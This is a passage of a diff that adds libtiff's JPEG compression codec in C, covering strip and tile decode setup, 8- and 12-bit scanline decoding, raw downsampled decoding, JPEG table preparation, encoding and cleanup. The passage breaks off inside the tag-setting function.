+	 * Reset decoder state from any previous strip/tile,
+	 * in case application didn't read the whole strip.
+	 */
+	if (!TIFFjpeg_abort(sp))
+		return (0);
+	/*
+	 * Read the header for this strip/tile.
+	 */
+	if (TIFFjpeg_read_header(sp, TRUE) != JPEG_HEADER_OK)
+		return (0);
+	/*
+	 * Check image parameters and set decompression parameters.
+	 */
+	segment_width = td->td_imagewidth;
+	segment_height = td->td_imagelength - tif->tif_row;
+	if (isTiled(tif)) {
+                segment_width = td->td_tilewidth;
+                segment_height = td->td_tilelength;
+		sp->bytesperline = TIFFTileRowSize(tif);
+	} else {
+		if (segment_height > td->td_rowsperstrip)
+			segment_height = td->td_rowsperstrip;
+		sp->bytesperline = TIFFScanlineSize(tif);
+	}
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE && s > 0) {
+		/*
+		 * For PC 2, scale down the expected strip/tile size
+		 * to match a downsampled component
+		 */
+		segment_width = TIFFhowmany(segment_width, sp->h_sampling);
+		segment_height = TIFFhowmany(segment_height, sp->v_sampling);
+	}
+	if (sp->cinfo.d.image_width != segment_width ||
+	    sp->cinfo.d.image_height != segment_height) {
+		TIFFWarningExt(tif->tif_clientdata, module,
+                 "Improper JPEG strip/tile size, expected %dx%d, got %dx%d",
+                          segment_width, 
+                          segment_height,
+                          sp->cinfo.d.image_width, 
+                          sp->cinfo.d.image_height);
+	}
+	if (sp->cinfo.d.num_components !=
+	    (td->td_planarconfig == PLANARCONFIG_CONTIG ?
+	     td->td_samplesperpixel : 1)) {
+		TIFFErrorExt(tif->tif_clientdata, module, "Improper JPEG component count");
+		return (0);
+	}
+#ifdef JPEG_LIB_MK1
+	if (12 != td->td_bitspersample && 8 != td->td_bitspersample) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Improper JPEG data precision");
+            return (0);
+	}
+        sp->cinfo.d.data_precision = td->td_bitspersample;
+        sp->cinfo.d.bits_in_jsample = td->td_bitspersample;
+#else
+	if (sp->cinfo.d.data_precision != td->td_bitspersample) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Improper JPEG data precision");
+            return (0);
+	}
+#endif
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG) {
+		/* Component 0 should have expected sampling factors */
+		if (sp->cinfo.d.comp_info[0].h_samp_factor != sp->h_sampling ||
+		    sp->cinfo.d.comp_info[0].v_samp_factor != sp->v_sampling) {
+				TIFFWarningExt(tif->tif_clientdata, module,
+                                    "Improper JPEG sampling factors %d,%d\n"
+                                    "Apparently should be %d,%d.",
+                                    sp->cinfo.d.comp_info[0].h_samp_factor,
+                                    sp->cinfo.d.comp_info[0].v_samp_factor,
+                                    sp->h_sampling, sp->v_sampling);
+
+			    /*
+			     * XXX: Files written by the Intergraph software
+			     * has different sampling factors stored in the
+			     * TIFF tags and in the JPEG structures. We will
+			     * try to deduce Intergraph files by the presense
+			     * of the tag 33918.
+			     */
+			    if (!_TIFFFindFieldInfo(tif, 33918, TIFF_ANY)) {
+					TIFFWarningExt(tif->tif_clientdata, module,
+					"Decompressor will try reading with "
+					"sampling %d,%d.",
+					sp->cinfo.d.comp_info[0].h_samp_factor,
+					sp->cinfo.d.comp_info[0].v_samp_factor);
+
+				    sp->h_sampling = (uint16)
+					sp->cinfo.d.comp_info[0].h_samp_factor;
+				    sp->v_sampling = (uint16)
+					sp->cinfo.d.comp_info[0].v_samp_factor;
+			    }
+		}
+		/* Rest should have sampling factors 1,1 */
+		for (ci = 1; ci < sp->cinfo.d.num_components; ci++) {
+			if (sp->cinfo.d.comp_info[ci].h_samp_factor != 1 ||
+			    sp->cinfo.d.comp_info[ci].v_samp_factor != 1) {
+				TIFFErrorExt(tif->tif_clientdata, module, "Improper JPEG sampling factors");
+				return (0);
+			}
+		}
+	} else {
+		/* PC 2's single component should have sampling factors 1,1 */
+		if (sp->cinfo.d.comp_info[0].h_samp_factor != 1 ||
+		    sp->cinfo.d.comp_info[0].v_samp_factor != 1) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Improper JPEG sampling factors");
+			return (0);
+		}
+	}
+	downsampled_output = FALSE;
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG &&
+	    sp->photometric == PHOTOMETRIC_YCBCR &&
+	    sp->jpegcolormode == JPEGCOLORMODE_RGB) {
+	/* Convert YCbCr to RGB */
+		sp->cinfo.d.jpeg_color_space = JCS_YCbCr;
+		sp->cinfo.d.out_color_space = JCS_RGB;
+	} else {
+			/* Suppress colorspace handling */
+		sp->cinfo.d.jpeg_color_space = JCS_UNKNOWN;
+		sp->cinfo.d.out_color_space = JCS_UNKNOWN;
+		if (td->td_planarconfig == PLANARCONFIG_CONTIG &&
+		    (sp->h_sampling != 1 || sp->v_sampling != 1))
+			downsampled_output = TRUE;
+		/* XXX what about up-sampling? */
+	}
+	if (downsampled_output) {
+		/* Need to use raw-data interface to libjpeg */
+		sp->cinfo.d.raw_data_out = TRUE;
+		tif->tif_decoderow = JPEGDecodeRaw;
+		tif->tif_decodestrip = JPEGDecodeRaw;
+		tif->tif_decodetile = JPEGDecodeRaw;
+	} else {
+		/* Use normal interface to libjpeg */
+		sp->cinfo.d.raw_data_out = FALSE;
+		tif->tif_decoderow = JPEGDecode;
+		tif->tif_decodestrip = JPEGDecode;
+		tif->tif_decodetile = JPEGDecode;
+	}
+	/* Start JPEG decompressor */
+	if (!TIFFjpeg_start_decompress(sp))
+		return (0);
+	/* Allocate downsampled-data buffers if needed */
+	if (downsampled_output) {
+		if (!alloc_downsampled_buffers(tif, sp->cinfo.d.comp_info,
+					       sp->cinfo.d.num_components))
+			return (0);
+		sp->scancount = DCTSIZE;	/* mark buffer empty */
+	}
+	return (1);
+}
+
+/*
+ * Decode a chunk of pixels.
+ * "Standard" case: returned data is not downsampled.
+ */
+/*ARGSUSED*/ static int
+JPEGDecode(TIFF* tif, tidata_t buf, tsize_t cc, tsample_t s)
+{
+    JPEGState *sp = JState(tif);
+    tsize_t nrows;
+    (void) s;
+
+    nrows = cc / sp->bytesperline;
+    if (cc % sp->bytesperline)
+		TIFFWarningExt(tif->tif_clientdata, tif->tif_name, "fractional scanline not read");
+
+    if( nrows > (int) sp->cinfo.d.image_height )
+        nrows = sp->cinfo.d.image_height;
+
+    /* data is expected to be read in multiples of a scanline */
+    if (nrows)
+    {
+        JSAMPROW line_work_buf = NULL;
+
+        /*
+        ** For 6B, only use temporary buffer for 12 bit imagery. 
+        ** For Mk1 always use it. 
+        */
+#if !defined(JPEG_LIB_MK1)        
+        if( sp->cinfo.d.data_precision == 12 )
+#endif
+        {
+            line_work_buf = (JSAMPROW) 
+                _TIFFmalloc(sizeof(short) * sp->cinfo.d.output_width 
+                            * sp->cinfo.d.num_components );
+        }
+
+        do {
+            if( line_work_buf != NULL )
+            {
+                /* 
+                ** In the MK1 case, we aways read into a 16bit buffer, and then
+                ** pack down to 12bit or 8bit.  In 6B case we only read into 16
+                ** bit buffer for 12bit data, which we need to repack. 
+                */
+                if (TIFFjpeg_read_scanlines(sp, &line_work_buf, 1) != 1)
+                    return (0);
+
+                if( sp->cinfo.d.data_precision == 12 )
+                {
+                    int value_pairs = (sp->cinfo.d.output_width 
+                                       * sp->cinfo.d.num_components) / 2;
+                    int iPair;
+
+                    for( iPair = 0; iPair < value_pairs; iPair++ )
+                    {
+                        unsigned char *out_ptr = 
+                            ((unsigned char *) buf) + iPair * 3;
+                        JSAMPLE *in_ptr = line_work_buf + iPair * 2;
+
+                        out_ptr[0] = (in_ptr[0] & 0xff0) >> 4;
+                        out_ptr[1] = ((in_ptr[0] & 0xf) << 4)
+                            | ((in_ptr[1] & 0xf00) >> 8);
+                        out_ptr[2] = ((in_ptr[1] & 0xff) >> 0);
+                    }
+                }
+                else if( sp->cinfo.d.data_precision == 8 )
+                {
+                    int value_count = (sp->cinfo.d.output_width 
+                                       * sp->cinfo.d.num_components);
+                    int iValue;
+
+                    for( iValue = 0; iValue < value_count; iValue++ )
+                    {
+                        ((unsigned char *) buf)[iValue] = 
+                            line_work_buf[iValue] & 0xff;
+                    }
+                }
+            }
+            else
+            {
+                /*
+                ** In the libjpeg6b 8bit case.  We read directly into the 
+                ** TIFF buffer.
+                */
+                JSAMPROW bufptr = (JSAMPROW)buf;
+  
+                if (TIFFjpeg_read_scanlines(sp, &bufptr, 1) != 1)
+                    return (0);
+            }
+
+            ++tif->tif_row;
+            buf += sp->bytesperline;
+            cc -= sp->bytesperline;
+        } while (--nrows > 0);
+
+        if( line_work_buf != NULL )
+            _TIFFfree( line_work_buf );
+    }
+
+    /* Close down the decompressor if we've finished the strip or tile. */
+    return sp->cinfo.d.output_scanline < sp->cinfo.d.output_height
+        || TIFFjpeg_finish_decompress(sp);
+}
+
+/*
+ * Decode a chunk of pixels.
+ * Returned data is downsampled per sampling factors.
+ */
+/*ARGSUSED*/ static int
+JPEGDecodeRaw(TIFF* tif, tidata_t buf, tsize_t cc, tsample_t s)
+{
+    JPEGState *sp = JState(tif);
+    tsize_t nrows;
+    (void) s;
+
+    /* data is expected to be read in multiples of a scanline */
+    if ( (nrows = sp->cinfo.d.image_height) ) {
+        /* Cb,Cr both have sampling factors 1, so this is correct */
+        JDIMENSION clumps_per_line = sp->cinfo.d.comp_info[1].downsampled_width;
+        int samples_per_clump = sp->samplesperclump;
+	
+#ifdef JPEG_LIB_MK1
+        unsigned short* tmpbuf = _TIFFmalloc(sizeof(unsigned short) *
+                                             sp->cinfo.d.output_width *
+                                             sp->cinfo.d.num_components);
+#endif
+ 
+        do {
+            jpeg_component_info *compptr;
+            int ci, clumpoffset;
+
+            /* Reload downsampled-data buffer if needed */
+            if (sp->scancount >= DCTSIZE) {
+                int n = sp->cinfo.d.max_v_samp_factor * DCTSIZE;
+                if (TIFFjpeg_read_raw_data(sp, sp->ds_buffer, n)
+                    != n)
+                    return (0);
+                sp->scancount = 0;
+            }
+            /*
+             * Fastest way to unseparate data is to make one pass
+             * over the scanline for each row of each component.
+             */
+            clumpoffset = 0;	/* first sample in clump */
+            for (ci = 0, compptr = sp->cinfo.d.comp_info;
+                 ci < sp->cinfo.d.num_components;
+                 ci++, compptr++) {
+                int hsamp = compptr->h_samp_factor;
+                int vsamp = compptr->v_samp_factor;
+                int ypos;
+
+                for (ypos = 0; ypos < vsamp; ypos++) {
+                    JSAMPLE *inptr = sp->ds_buffer[ci][sp->scancount*vsamp + ypos];
+#ifdef JPEG_LIB_MK1
+                    JSAMPLE *outptr = (JSAMPLE*)tmpbuf + clumpoffset;
+#else
+                    JSAMPLE *outptr = (JSAMPLE*)buf + clumpoffset;
+#endif
+                    JDIMENSION nclump;
+
+                    if (hsamp == 1) {
+                        /* fast path for at least Cb and Cr */
+                        for (nclump = clumps_per_line; nclump-- > 0; ) {
+                            outptr[0] = *inptr++;
+                            outptr += samples_per_clump;
+                        }
+                    } else {
+                        int xpos;
+
+                        /* general case */
+                        for (nclump = clumps_per_line; nclump-- > 0; ) {
+                            for (xpos = 0; xpos < hsamp; xpos++)
+                                outptr[xpos] = *inptr++;
+                            outptr += samples_per_clump;
+                        }
+                    }
+                    clumpoffset += hsamp;
+                }
+            }
+
+#ifdef JPEG_LIB_MK1
+            {
+                if (sp->cinfo.d.data_precision == 8)
+                {
+                    int i=0;
+                    int len = sp->cinfo.d.output_width * sp->cinfo.d.num_components;
+                    for (i=0; i<len; i++)
+                    {
+                        ((unsigned char*)buf)[i] = tmpbuf[i] & 0xff;
+                    }
+                }
+                else
+                {         // 12-bit
+                    int value_pairs = (sp->cinfo.d.output_width
+                                       * sp->cinfo.d.num_components) / 2;
+                    int iPair;
+                    for( iPair = 0; iPair < value_pairs; iPair++ )
+                    {
+                        unsigned char *out_ptr = ((unsigned char *) buf) + iPair * 3;
+                        JSAMPLE *in_ptr = tmpbuf + iPair * 2;
+                        out_ptr[0] = (in_ptr[0] & 0xff0) >> 4;
+                        out_ptr[1] = ((in_ptr[0] & 0xf) << 4)
+                            | ((in_ptr[1] & 0xf00) >> 8);
+                        out_ptr[2] = ((in_ptr[1] & 0xff) >> 0);
+                    }
+                }
+            }
+#endif
+
+            ++sp->scancount;
+            ++tif->tif_row;
+            buf += sp->bytesperline;
+            cc -= sp->bytesperline;
+        } while (--nrows > 0);
+  
+#ifdef JPEG_LIB_MK1
+        _TIFFfree(tmpbuf);
+#endif
+
+    }
+
+    /* Close down the decompressor if done. */
+    return sp->cinfo.d.output_scanline < sp->cinfo.d.output_height
+        || TIFFjpeg_finish_decompress(sp);
+}
+
+
+/*
+ * JPEG Encoding.
+ */
+
+static void
+unsuppress_quant_table (JPEGState* sp, int tblno)
+{
+	JQUANT_TBL* qtbl;
+
+	if ((qtbl = sp->cinfo.c.quant_tbl_ptrs[tblno]) != NULL)
+		qtbl->sent_table = FALSE;
+}
+
+static void
+unsuppress_huff_table (JPEGState* sp, int tblno)
+{
+	JHUFF_TBL* htbl;
+
+	if ((htbl = sp->cinfo.c.dc_huff_tbl_ptrs[tblno]) != NULL)
+		htbl->sent_table = FALSE;
+	if ((htbl = sp->cinfo.c.ac_huff_tbl_ptrs[tblno]) != NULL)
+		htbl->sent_table = FALSE;
+}
+
+static int
+prepare_JPEGTables(TIFF* tif)
+{
+	JPEGState* sp = JState(tif);
+
+        JPEGInitializeLibJPEG( tif, 0, 0 );
+
+	/* Initialize quant tables for current quality setting */
+	if (!TIFFjpeg_set_quality(sp, sp->jpegquality, FALSE))
+		return (0);
+	/* Mark only the tables we want for output */
+	/* NB: chrominance tables are currently used only with YCbCr */
+	if (!TIFFjpeg_suppress_tables(sp, TRUE))
+		return (0);
+	if (sp->jpegtablesmode & JPEGTABLESMODE_QUANT) {
+		unsuppress_quant_table(sp, 0);
+		if (sp->photometric == PHOTOMETRIC_YCBCR)
+			unsuppress_quant_table(sp, 1);
+	}
+	if (sp->jpegtablesmode & JPEGTABLESMODE_HUFF) {
+		unsuppress_huff_table(sp, 0);
+		if (sp->photometric == PHOTOMETRIC_YCBCR)
+			unsuppress_huff_table(sp, 1);
+	}
+	/* Direct libjpeg output into jpegtables */
+	if (!TIFFjpeg_tables_dest(sp, tif))
+		return (0);
+	/* Emit tables-only datastream */
+	if (!TIFFjpeg_write_tables(sp))
+		return (0);
+
+	return (1);
+}
+
+static int
+JPEGSetupEncode(TIFF* tif)
+{
+	JPEGState* sp = JState(tif);
+	TIFFDirectory *td = &tif->tif_dir;
+	static const char module[] = "JPEGSetupEncode";
+
+        JPEGInitializeLibJPEG( tif, 1, 0 );
+
+	assert(sp != NULL);
+	assert(!sp->cinfo.comm.is_decompressor);
+
+	/*
+	 * Initialize all JPEG parameters to default values.
+	 * Note that jpeg_set_defaults needs legal values for
+	 * in_color_space and input_components.
+	 */
+	sp->cinfo.c.in_color_space = JCS_UNKNOWN;
+	sp->cinfo.c.input_components = 1;
+	if (!TIFFjpeg_set_defaults(sp))
+		return (0);
+	/* Set per-file parameters */
+	sp->photometric = td->td_photometric;
+	switch (sp->photometric) {
+	case PHOTOMETRIC_YCBCR:
+		sp->h_sampling = td->td_ycbcrsubsampling[0];
+		sp->v_sampling = td->td_ycbcrsubsampling[1];
+		/*
+		 * A ReferenceBlackWhite field *must* be present since the
+		 * default value is inappropriate for YCbCr.  Fill in the
+		 * proper value if application didn't set it.
+		 */
+		{
+			float *ref;
+			if (!TIFFGetField(tif, TIFFTAG_REFERENCEBLACKWHITE,
+					  &ref)) {
+				float refbw[6];
+				long top = 1L << td->td_bitspersample;
+				refbw[0] = 0;
+				refbw[1] = (float)(top-1L);
+				refbw[2] = (float)(top>>1);
+				refbw[3] = refbw[1];
+				refbw[4] = refbw[2];
+				refbw[5] = refbw[1];
+				TIFFSetField(tif, TIFFTAG_REFERENCEBLACKWHITE,
+					     refbw);
+			}
+		}
+		break;
+	case PHOTOMETRIC_PALETTE:		/* disallowed by Tech Note */
+	case PHOTOMETRIC_MASK:
+		TIFFErrorExt(tif->tif_clientdata, module,
+			  "PhotometricInterpretation %d not allowed for JPEG",
+			  (int) sp->photometric);
+		return (0);
+	default:
+		/* TIFF 6.0 forbids subsampling of all other color spaces */
+		sp->h_sampling = 1;
+		sp->v_sampling = 1;
+		break;
+	}
+
+	/* Verify miscellaneous parameters */
+
+	/*
+	 * This would need work if libtiff ever supports different
+	 * depths for different components, or if libjpeg ever supports
+	 * run-time selection of depth.  Neither is imminent.
+	 */
+#ifdef JPEG_LIB_MK1
+        /* BITS_IN_JSAMPLE now permits 8 and 12 --- dgilbert */
+	if (td->td_bitspersample != 8 && td->td_bitspersample != 12) 
+#else
+	if (td->td_bitspersample != BITS_IN_JSAMPLE ) 
+#endif
+        {
+		TIFFErrorExt(tif->tif_clientdata, module, "BitsPerSample %d not allowed for JPEG",
+			  (int) td->td_bitspersample);
+		return (0);
+	}
+	sp->cinfo.c.data_precision = td->td_bitspersample;
+#ifdef JPEG_LIB_MK1
+        sp->cinfo.c.bits_in_jsample = td->td_bitspersample;
+#endif
+	if (isTiled(tif)) {
+		if ((td->td_tilelength % (sp->v_sampling * DCTSIZE)) != 0) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+				  "JPEG tile height must be multiple of %d",
+				  sp->v_sampling * DCTSIZE);
+			return (0);
+		}
+		if ((td->td_tilewidth % (sp->h_sampling * DCTSIZE)) != 0) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+				  "JPEG tile width must be multiple of %d",
+				  sp->h_sampling * DCTSIZE);
+			return (0);
+		}
+	} else {
+		if (td->td_rowsperstrip < td->td_imagelength &&
+		    (td->td_rowsperstrip % (sp->v_sampling * DCTSIZE)) != 0) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+				  "RowsPerStrip must be multiple of %d for JPEG",
+				  sp->v_sampling * DCTSIZE);
+			return (0);
+		}
+	}
+
+	/* Create a JPEGTables field if appropriate */
+	if (sp->jpegtablesmode & (JPEGTABLESMODE_QUANT|JPEGTABLESMODE_HUFF)) {
+		if (!prepare_JPEGTables(tif))
+			return (0);
+		/* Mark the field present */
+		/* Can't use TIFFSetField since BEENWRITING is already set! */
+		TIFFSetFieldBit(tif, FIELD_JPEGTABLES);
+		tif->tif_flags |= TIFF_DIRTYDIRECT;
+	} else {
+		/* We do not support application-supplied JPEGTables, */
+		/* so mark the field not present */
+		TIFFClrFieldBit(tif, FIELD_JPEGTABLES);
+	}
+
+	/* Direct libjpeg output to libtiff's output buffer */
+	TIFFjpeg_data_dest(sp, tif);
+
+	return (1);
+}
+
+/*
+ * Set encoding state at the start of a strip or tile.
+ */
+static int
+JPEGPreEncode(TIFF* tif, tsample_t s)
+{
+	JPEGState *sp = JState(tif);
+	TIFFDirectory *td = &tif->tif_dir;
+	static const char module[] = "JPEGPreEncode";
+	uint32 segment_width, segment_height;
+	int downsampled_input;
+
+	assert(sp != NULL);
+	assert(!sp->cinfo.comm.is_decompressor);
+	/*
+	 * Set encoding parameters for this strip/tile.
+	 */
+	if (isTiled(tif)) {
+		segment_width = td->td_tilewidth;
+		segment_height = td->td_tilelength;
+		sp->bytesperline = TIFFTileRowSize(tif);
+	} else {
+		segment_width = td->td_imagewidth;
+		segment_height = td->td_imagelength - tif->tif_row;
+		if (segment_height > td->td_rowsperstrip)
+			segment_height = td->td_rowsperstrip;
+		sp->bytesperline = TIFFScanlineSize(tif);
+	}
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE && s > 0) {
+		/* for PC 2, scale down the strip/tile size
+		 * to match a downsampled component
+		 */
+		segment_width = TIFFhowmany(segment_width, sp->h_sampling);
+		segment_height = TIFFhowmany(segment_height, sp->v_sampling);
+	}
+	if (segment_width > 65535 || segment_height > 65535) {
+		TIFFErrorExt(tif->tif_clientdata, module, "Strip/tile too large for JPEG");
+		return (0);
+	}
+	sp->cinfo.c.image_width = segment_width;
+	sp->cinfo.c.image_height = segment_height;
+	downsampled_input = FALSE;
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG) {
+		sp->cinfo.c.input_components = td->td_samplesperpixel;
+		if (sp->photometric == PHOTOMETRIC_YCBCR) {
+			if (sp->jpegcolormode == JPEGCOLORMODE_RGB) {
+				sp->cinfo.c.in_color_space = JCS_RGB;
+			} else {
+				sp->cinfo.c.in_color_space = JCS_YCbCr;
+				if (sp->h_sampling != 1 || sp->v_sampling != 1)
+					downsampled_input = TRUE;
+			}
+			if (!TIFFjpeg_set_colorspace(sp, JCS_YCbCr))
+				return (0);
+			/*
+			 * Set Y sampling factors;
+			 * we assume jpeg_set_colorspace() set the rest to 1
+			 */
+			sp->cinfo.c.comp_info[0].h_samp_factor = sp->h_sampling;
+			sp->cinfo.c.comp_info[0].v_samp_factor = sp->v_sampling;
+		} else {
+			sp->cinfo.c.in_color_space = JCS_UNKNOWN;
+			if (!TIFFjpeg_set_colorspace(sp, JCS_UNKNOWN))
+				return (0);
+			/* jpeg_set_colorspace set all sampling factors to 1 */
+		}
+	} else {
+		sp->cinfo.c.input_components = 1;
+		sp->cinfo.c.in_color_space = JCS_UNKNOWN;
+		if (!TIFFjpeg_set_colorspace(sp, JCS_UNKNOWN))
+			return (0);
+		sp->cinfo.c.comp_info[0].component_id = s;
+		/* jpeg_set_colorspace() set sampling factors to 1 */
+		if (sp->photometric == PHOTOMETRIC_YCBCR && s > 0) {
+			sp->cinfo.c.comp_info[0].quant_tbl_no = 1;
+			sp->cinfo.c.comp_info[0].dc_tbl_no = 1;
+			sp->cinfo.c.comp_info[0].ac_tbl_no = 1;
+		}
+	}
+	/* ensure libjpeg won't write any extraneous markers */
+	sp->cinfo.c.write_JFIF_header = FALSE;
+	sp->cinfo.c.write_Adobe_marker = FALSE;
+	/* set up table handling correctly */
+	if (! (sp->jpegtablesmode & JPEGTABLESMODE_QUANT)) {
+		if (!TIFFjpeg_set_quality(sp, sp->jpegquality, FALSE))
+			return (0);
+		unsuppress_quant_table(sp, 0);
+		unsuppress_quant_table(sp, 1);
+	}
+	if (sp->jpegtablesmode & JPEGTABLESMODE_HUFF)
+		sp->cinfo.c.optimize_coding = FALSE;
+	else
+		sp->cinfo.c.optimize_coding = TRUE;
+	if (downsampled_input) {
+		/* Need to use raw-data interface to libjpeg */
+		sp->cinfo.c.raw_data_in = TRUE;
+		tif->tif_encoderow = JPEGEncodeRaw;
+		tif->tif_encodestrip = JPEGEncodeRaw;
+		tif->tif_encodetile = JPEGEncodeRaw;
+	} else {
+		/* Use normal interface to libjpeg */
+		sp->cinfo.c.raw_data_in = FALSE;
+		tif->tif_encoderow = JPEGEncode;
+		tif->tif_encodestrip = JPEGEncode;
+		tif->tif_encodetile = JPEGEncode;
+	}
+	/* Start JPEG compressor */
+	if (!TIFFjpeg_start_compress(sp, FALSE))
+		return (0);
+	/* Allocate downsampled-data buffers if needed */
+	if (downsampled_input) {
+		if (!alloc_downsampled_buffers(tif, sp->cinfo.c.comp_info,
+					       sp->cinfo.c.num_components))
+			return (0);
+	}
+	sp->scancount = 0;
+
+	return (1);
+}
+
+/*
+ * Encode a chunk of pixels.
+ * "Standard" case: incoming data is not downsampled.
+ */
+static int
+JPEGEncode(TIFF* tif, tidata_t buf, tsize_t cc, tsample_t s)
+{
+	JPEGState *sp = JState(tif);
+	tsize_t nrows;
+	JSAMPROW bufptr[1];
+
+	(void) s;
+	assert(sp != NULL);
+	/* data is expected to be supplied in multiples of a scanline */
+	nrows = cc / sp->bytesperline;
+	if (cc % sp->bytesperline)
+		TIFFWarningExt(tif->tif_clientdata, tif->tif_name, "fractional scanline discarded");
+
+	while (nrows-- > 0) {
+		bufptr[0] = (JSAMPROW) buf;
+		if (TIFFjpeg_write_scanlines(sp, bufptr, 1) != 1)
+			return (0);
+		if (nrows > 0)
+			tif->tif_row++;
+		buf += sp->bytesperline;
+	}
+	return (1);
+}
+
+/*
+ * Encode a chunk of pixels.
+ * Incoming data is expected to be downsampled per sampling factors.
+ */
+static int
+JPEGEncodeRaw(TIFF* tif, tidata_t buf, tsize_t cc, tsample_t s)
+{
+	JPEGState *sp = JState(tif);
+	JSAMPLE* inptr;
+	JSAMPLE* outptr;
+	tsize_t nrows;
+	JDIMENSION clumps_per_line, nclump;
+	int clumpoffset, ci, xpos, ypos;
+	jpeg_component_info* compptr;
+	int samples_per_clump = sp->samplesperclump;
+
+	(void) s;
+	assert(sp != NULL);
+	/* data is expected to be supplied in multiples of a scanline */
+	nrows = cc / sp->bytesperline;
+	if (cc % sp->bytesperline)
+		TIFFWarningExt(tif->tif_clientdata, tif->tif_name, "fractional scanline discarded");
+
+	/* Cb,Cr both have sampling factors 1, so this is correct */
+	clumps_per_line = sp->cinfo.c.comp_info[1].downsampled_width;
+
+	while (nrows-- > 0) {
+		/*
+		 * Fastest way to separate the data is to make one pass
+		 * over the scanline for each row of each component.
+		 */
+		clumpoffset = 0;		/* first sample in clump */
+		for (ci = 0, compptr = sp->cinfo.c.comp_info;
+		     ci < sp->cinfo.c.num_components;
+		     ci++, compptr++) {
+		    int hsamp = compptr->h_samp_factor;
+		    int vsamp = compptr->v_samp_factor;
+		    int padding = (int) (compptr->width_in_blocks * DCTSIZE -
+					 clumps_per_line * hsamp);
+		    for (ypos = 0; ypos < vsamp; ypos++) {
+			inptr = ((JSAMPLE*) buf) + clumpoffset;
+			outptr = sp->ds_buffer[ci][sp->scancount*vsamp + ypos];
+			if (hsamp == 1) {
+			    /* fast path for at least Cb and Cr */
+			    for (nclump = clumps_per_line; nclump-- > 0; ) {
+				*outptr++ = inptr[0];
+				inptr += samples_per_clump;
+			    }
+			} else {
+			    /* general case */
+			    for (nclump = clumps_per_line; nclump-- > 0; ) {
+				for (xpos = 0; xpos < hsamp; xpos++)
+				    *outptr++ = inptr[xpos];
+				inptr += samples_per_clump;
+			    }
+			}
+			/* pad each scanline as needed */
+			for (xpos = 0; xpos < padding; xpos++) {
+			    *outptr = outptr[-1];
+			    outptr++;
+			}
+			clumpoffset += hsamp;
+		    }
+		}
+		sp->scancount++;
+		if (sp->scancount >= DCTSIZE) {
+			int n = sp->cinfo.c.max_v_samp_factor * DCTSIZE;
+			if (TIFFjpeg_write_raw_data(sp, sp->ds_buffer, n) != n)
+				return (0);
+			sp->scancount = 0;
+		}
+		if (nrows > 0)
+			tif->tif_row++;
+		buf += sp->bytesperline;
+	}
+	return (1);
+}
+
+/*
+ * Finish up at the end of a strip or tile.
+ */
+static int
+JPEGPostEncode(TIFF* tif)
+{
+	JPEGState *sp = JState(tif);
+
+	if (sp->scancount > 0) {
+		/*
+		 * Need to emit a partial bufferload of downsampled data.
+		 * Pad the data vertically.
+		 */
+		int ci, ypos, n;
+		jpeg_component_info* compptr;
+
+		for (ci = 0, compptr = sp->cinfo.c.comp_info;
+		     ci < sp->cinfo.c.num_components;
+		     ci++, compptr++) {
+			int vsamp = compptr->v_samp_factor;
+			tsize_t row_width = compptr->width_in_blocks * DCTSIZE
+				* sizeof(JSAMPLE);
+			for (ypos = sp->scancount * vsamp;
+			     ypos < DCTSIZE * vsamp; ypos++) {
+				_TIFFmemcpy((tdata_t)sp->ds_buffer[ci][ypos],
+					    (tdata_t)sp->ds_buffer[ci][ypos-1],
+					    row_width);
+
+			}
+		}
+		n = sp->cinfo.c.max_v_samp_factor * DCTSIZE;
+		if (TIFFjpeg_write_raw_data(sp, sp->ds_buffer, n) != n)
+			return (0);
+	}
+
+	return (TIFFjpeg_finish_compress(JState(tif)));
+}
+
+static void
+JPEGCleanup(TIFF* tif)
+{
+	JPEGState *sp = JState(tif);
+	
+	assert(sp != 0);
+
+	tif->tif_tagmethods.vgetfield = sp->vgetparent;
+	tif->tif_tagmethods.vsetfield = sp->vsetparent;
+
+	if( sp->cinfo_initialized )
+	    TIFFjpeg_destroy(sp);	/* release libjpeg resources */
+	if (sp->jpegtables)		/* tag value */
+		_TIFFfree(sp->jpegtables);
+	_TIFFfree(tif->tif_data);	/* release local state */
+	tif->tif_data = NULL;
+
+	_TIFFSetDefaultCompressionState(tif);
+}
+
+static int
+JPEGVSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	JPEGState* sp = JState(tif);
+	TIFFDirectory* td = &tif->tif_dir;
+	uint32 v32;
+
+	assert(sp != NULL);
+
+	switch (tag) {
+	case TIFFTAG_JPEGTABLES:
+		v32 = va_arg(ap, uint32);
+		if (v32 == 0) {
+			/* XXX */
+			return (0);
+		}
+		_TIFFsetByteArray(&sp->jpegtables, va_arg(ap, void*),
+		    (long) v32);
+		sp->jpegtables_length = v32;
+		TIFFSetFieldBit(tif, FIELD_JPEGTABLES);
+		break;
+	case TIFFTAG_JPEGQUALITY:
+		sp->jpegquality = va_arg(ap, int);
+		return (1);			/* pseudo tag */
+	case TIFFTAG_JPEGCOLORMODE:
+		sp->jpegcolormode = va_arg(ap, int);
+		/*
+		 * Mark whether returned data is up-sampled or not
+		 * so TIFFStripSize and TIFFTileSize return values
+		 * that reflect the true amount of data.
+		 */
+		tif->tif_flags &= ~TIFF_UPSAMPLED;
+		if (td->td_planarconfig == PLANARCONFIG_CONTIG) {
+		    if (td->td_photometric == PHOTOMETRIC_YCBCR &&
+		      sp->jpegcolormode == JPEGCOLORMODE_RGB) {
+			tif->tif_flags |= TIFF_UPSAMPLED;
+		    } else {
+			if (td->td_ycbcrsubsampling[0] != 1 ||
+			    td->td_ycbcrsubsampling[1] != 1)
+			    ; /* XXX what about up-sampling? */
+		    }
+		}
+		/*
+		 * Must recalculate cached tile size
+		 * in case sampling state changed.
+		 */
+		tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tsize_t) -1;
+		return (1);			/* pseudo tag */
+	case TIFFTAG_JPEGTABLESMODE:
+		sp->jpegtablesmode = va_arg(ap, int);
+		return (1);			/* pseudo tag */
+	case TIFFTAG_YCBCRSUBSAMPLING:
+                /* mark the fact that we have a real ycbcrsubsampling! */
